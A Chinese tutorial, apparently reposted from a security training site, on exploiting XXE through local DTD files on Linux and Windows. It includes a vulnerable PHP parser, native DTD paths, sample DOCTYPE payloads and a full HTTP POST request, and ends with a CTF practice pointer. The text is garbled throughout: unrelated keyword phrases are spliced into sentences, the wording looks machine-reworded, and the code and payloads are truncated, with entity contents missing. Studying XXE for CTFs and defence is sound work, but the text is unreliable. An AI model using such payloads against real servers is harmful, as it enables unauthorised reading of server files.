0x00序言
如今题目出XXE通常都是考怎么获取到XXE所包含文件的数据,即怎样把数据泄漏下来。常用的方式有:引入外部服务器或则外部dtd文件,来实现OOB带外信息传送,假如服务器和你的VPS之间存在防火墙,那数据常常难以带出,这时侯可以借助近来的赛事中都喜欢考通过本地DTD文件实现XXE功击,下边就来学习总结一下这些方法。0x01环境存在xxe漏洞的文件
loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
在布署的时侯须要注意libxml的版本,在libxml2.9.1某个版本曾经parser.c/xmlStringLenDecodeEntities函数存在XML外部实体漏洞ubuntu xml::parser,可使上下文独立的功击者读取任意文件或导致拒绝服务
libxml在2.9.1版本及之后默认禁用外部实体
php --ri libxml
libxml
libXML support => active
libXML Compiled Version => 2.9.9
libXML Loaded Version => 20903
libXML streams => enabled
0x02正文在平时的XXE借助形式中,我们一般会加载外部dtd文件来进行借助
恳求payload:
<!DOCTYPE message [
%ext;
]>
ext.dtd的内容:
<!ENTITY % eval "">
%eval;
%error;
然而这些方法具有其局限性
第一:存在XXE的服务器与服务器可能存在某种形式的阻隔,如防火墙。
第二:libxml在2.9.1以后禁用了外部实体
这个时侯我们难以通过外部实体的形式来进行XXE的借助。
假如我们直接把DTD部份装入恳求payload中
<!DOCTYPE message [
<!ENTITY % eval "">
%eval;
%error;
]>
将会返回如下错误:
The parameter entity reference “%file;” cannot occur within markup in the internal subset of the DTD
外部DTD容许我们在一个实体里包含另一个实体,并且在内部DTD中ubuntu xml::parser,这些行为是严禁的。
那内部DTD是否可以进行借助呢?
这儿介绍本文的方式,该方式由ArseniySharoglazov在文章
提出,在去年的赛事中早已出现多次了。
在内部DTD中使用外部DTD的内容,只须要在目标主机上强制执行本地DTD文件,并在其中重新定义一些参数实体引用
这个方式只须要晓得本地DTD文件的路径,而且在该DTD中定义了实体变量而且进行了引用。
例如在ubuntu16.04中,我使用全局搜索得到以下的一些原生dtd文件:
//find / name "*.dtd"
/usr/share/sgml/metacity-common/metacity-theme.dtd
/usr/share/sgml/dtd/xml-core/catalog.dtd
/usr/share/sgml/gconf/gconf-1.0.dtd
/usr/share/gdb/syscalls/gdb-syscalls.dtd
/usr/share/djvu/pubtext/DjVuOCR.dtd
/usr/share/djvu/pubtext/DjVuMessages.dtd
/usr/share/djvu/pubtext/DjVuXML-s.dtd
/usr/share/avahi/avahi-service.dtd
/usr/share/glib-2.0/schemas/gschema.dtd
/usr/share/X11/xkb/rules/xkb.dtd
/usr/share/doc/libxml-parser-perl/examples/ctest.dtd
/usr/share/xml/schema/xml-core/tr9401.dtd
/usr/share/xml/schema/xml-core/catalog.dtd
/usr/share/gtksourceview-3.0/language-specs/language.dtd
/usr/share/yelp/dtd/docbookx.dtd
/usr/share/mobile-broadband-provider-info/serviceproviders.2.dtd
/usr/share/libgweather/locations.dtd
/opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd
。。。。。。
。。。。。。
之后我须要在这种dtd中找到符合我的要求的dtd,例如在这儿的
/opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd
和
/usr/share/libgweather/locations.dtd
和
/usr/share/yelp/dtd/docbookx.dtd
都是符合要求的,这儿使用sip-app_1_0.dtd为例
其主要内容如下
我们的payload根据如下构造:
<!DOCTYPE message [
<!ENTITY % eval "">
%eval;
%error;
%local_dtd;
]>
其中
为强制执行本地DTD文件linux apache 虚拟主机,一开始我看见payload中的
。。。
认为很奇怪,这是哪些写法,后来对应着dtd的内容来看,发觉,这儿是相当于做了一个闭合,可以按sql注入那个方法去理解这儿的xxe,由于
对condition实体进行了引用,所以会把condition内容替换进来
而我们在强制执行本地DTD文件之后suse linux 下载,是可以重新定义该文件中的一些参数实体引用的,当我们重新定义了该参数实体时,就可以构造而已的payload促使其替换后符合xml的句型,并正常执行我们的xxe的payload。
讲到这,可能好多朋友早已明白了,这些方式的关键在于如何找寻本地DTD以及怎样闭合。
好多Linux系统会自带DTD文件,例如Ubuntu、CentOS、Arch,另外还有openjdk的docker容器中也有少量的DTD文件。Windows中也有DTD文件,在Windows中有两个DTD文件通常还会存在
C:/Windows/System32/wbem/xml/cim20.dtd
C:/Windows/System32/wbem/xml/wmi20.dtd
其重要内容为:
.....
.....
.....
post包,如果使用SuperClass实体进行注入,payload如下
POST /test2.php HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 447
<!DOCTYPE message [
<!ENTITY % eval "">
%eval;
%error;
'>
%local_dtd;
]>
any text
这儿你们可以自己尝试尝试使用其他实体注入时该如何闭合?这也是挺有趣的。
这样就可以在报错中得到读取的文件内容了。
0x03题目练习这个方法在GoogleCTF2019bnv中以及OPPOOGeekCTF2019上面都考了,OPPO的环境还开着,可以使用它来练手,题目提示了服务器使用tomcat8.5,这时侯可以在docker中拉取相应的镜像,并全局搜索对应的dtd文件进行借助。
题目传送门:
:18080/webserver/
0x04参考
XXE相关的学习可以到合天网安实验室操作实验——XXE漏洞功击与防御,扫描下方二维码或点击文末“阅读原文”开始操作。
别忘了投稿哦
你们有好的技术原创文章
欢迎投稿至邮箱:
合天会按照文章的时效、新颖、文笔、实用等多方面衡量给与200元-800元不等的稿酬哦
有能够的你快来投稿吧!
了解投稿详情点击——